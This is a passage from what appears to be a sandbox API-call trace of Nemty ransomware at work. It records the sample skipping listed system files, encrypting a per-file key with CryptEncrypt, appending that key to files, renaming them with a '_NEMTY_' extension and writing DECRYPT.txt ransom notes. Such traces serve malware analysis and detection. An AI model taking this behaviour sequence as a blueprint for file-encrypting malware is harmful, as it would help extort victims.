Flags=0x0, Size=0xa0) returned 0x4f94310 [0185.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0185.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0185.614] Sleep (dwMilliseconds=0x5) [0185.622] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22494dd0, dwHighDateTime=0x1d561e8)) [0185.622] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22494dd0, dwHighDateTime=0x1d561e8)) [0185.622] GetLastError () returned 0x0 [0185.622] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.622] GetLastError () returned 0x0 [0185.622] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.622] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.622] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.622] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.622] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.623] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0185.623] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="SU+YbgvSuPS0K3EJQ5zI5LxYAQojmfOZ6b3AR75uezacERidQ0ABfGLXwNViZfhf\r\n9C1elMK/aWSS4hOuTDGrGt2yfg2Th80EZZ/klLWr9W2EhdjQV+pPZ9miEmTXpL88\r\nLgTXS+R4cXMtDDhnX4GFgwY5pMwl5LNVhnyMrBZgmvkUNMEOz1RtvKB5ZfmkUIBg\r\nkthde7ci5P8I8qxAXG/nI9AEPzsOznkj6cDXHgcOmEm0MiOnYIdhAyTffx2m4nFa\r\nxJQR/20ycySmtJ8/Zh+zJtMiXI2+cD7IIU9IFT/7Z++0GCoKdquQk4mI5Ktcz2KX\r\n85hSc9ZRHtcNKkHuaWQ6pw==\r\n", pcchString=0x653e5dc) returned 1 [0185.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0185.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.623] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\SendMail.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\sendmail.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.623] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=15872) returned 1 [0185.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3e00) returned 0x6352c48 [0185.623] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.623] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x3e00, lpOverlapped=0x0) returned 1 [0185.626] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.626] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x3e00, lpOverlapped=0x0) returned 1 [0185.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.626] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=15872, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3e00 [0185.626] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.626] CloseHandle (hObject=0x2e8) returned 1 [0185.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0185.626] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.627] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0185.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0185.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0185.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.627] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\SendMail.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\sendmail.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\SendMail.UKR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\sendmail.ukr._nemty_kgobjgd_")) returned 1 [0185.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0185.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0185.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.627] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Services", cAlternateFileName="")) returned 1 [0185.627] lstrcmpiW (lpString1="Services", lpString2=".") returned 1 [0185.628] lstrcmpiW (lpString1="Services", lpString2="..") returned 1 [0185.628] lstrcmpiW (lpString1="Services", lpString2="...") returned 1 [0185.628] lstrcmpiW (lpString1="Services", lpString2="windows") returned -1 [0185.628] lstrcmpiW (lpString1="Services", lpString2="$RECYCLE.BIN") returned 1 [0185.628] lstrcmpiW (lpString1="Services", lpString2="rsa") returned 1 [0185.628] lstrcmpiW (lpString1="Services", lpString2="NTDETECT.COM") returned 1 [0185.628] lstrcmpiW (lpString1="Services", lpString2="ntldr") returned 1 [0185.628] lstrcmpiW (lpString1="Services", lpString2="MSDOS.SYS") returned 1 [0185.628] lstrcmpiW (lpString1="Services", lpString2="IO.SYS") returned 1 [0185.628] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0185.628] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0185.628] lstrcmpiW (lpString1="Services", lpString2="AUTOEXEC.BAT") returned 1 [0185.628] lstrcmpiW (lpString1="Services", lpString2="ntuser.dat") returned 1 [0185.628] lstrcmpiW (lpString1="Services", lpString2="desktop.ini") returned 1 [0185.628] lstrcmpiW (lpString1="Services", lpString2="CONFIG.SYS") returned 1 [0185.628] lstrcmpiW (lpString1="Services", lpString2="RECYCLER") returned 1 [0185.628] lstrcmpiW (lpString1="Services", lpString2="BOOTSECT.BAK") returned 1 [0185.628] lstrcmpiW (lpString1="Services", lpString2="bootmgr") returned 1 [0185.628] lstrcmpiW (lpString1="Services", lpString2="programdata") returned 1 [0185.628] lstrcmpiW (lpString1="Services", lpString2="appdata") returned 1 [0185.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.628] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0185.628] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0185.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.628] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0185.628] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0185.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0185.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0185.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0185.628] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.629] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0185.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0185.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.629] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.631] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.631] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0185.632] CloseHandle (hObject=0x2e8) returned 1 [0185.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0185.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0185.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0185.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0185.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0185.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0185.632] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.632] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0185.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0185.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.632] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.633] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.633] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0185.634] CloseHandle (hObject=0x2e8) returned 1 [0185.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0185.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0185.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0185.634] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services\\*.*", lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x22494dd0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x22494dd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423af0 [0185.635] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0185.635] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x22494dd0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x22494dd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0185.635] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0185.635] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0185.635] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xbab1, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0185.635] lstrcmpiW (lpString1="DEXShare.asfx", lpString2=".") returned 1 [0185.635] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="..") returned 1 [0185.635] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="...") returned 1 [0185.635] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="windows") returned -1 [0185.635] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="$RECYCLE.BIN") returned 1 [0185.635] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="rsa") returned -1 [0185.635] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="NTDETECT.COM") returned -1 [0185.635] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntldr") returned -1 [0185.635] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="MSDOS.SYS") returned -1 [0185.635] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="IO.SYS") returned -1 [0185.635] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0185.635] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0185.635] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0185.635] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntuser.dat") returned -1 [0185.635] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="desktop.ini") returned 1 [0185.635] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="CONFIG.SYS") returned 1 [0185.635] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="RECYCLER") returned -1 [0185.635] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="BOOTSECT.BAK") returned 1 [0185.635] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="bootmgr") returned 1 [0185.635] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="programdata") returned -1 [0185.635] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="appdata") returned 1 [0185.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0185.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0185.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0185.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0185.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.636] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0185.636] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0185.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.636] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0185.636] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0185.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0185.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0185.636] Sleep (dwMilliseconds=0x5) [0185.638] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x224baf30, dwHighDateTime=0x1d561e8)) [0185.638] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x224baf30, dwHighDateTime=0x1d561e8)) [0185.638] GetLastError () returned 0xb7 [0185.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.638] GetLastError () returned 0xb7 [0185.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.638] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0185.638] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0185.638] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0185.638] RtlAllocateHeap 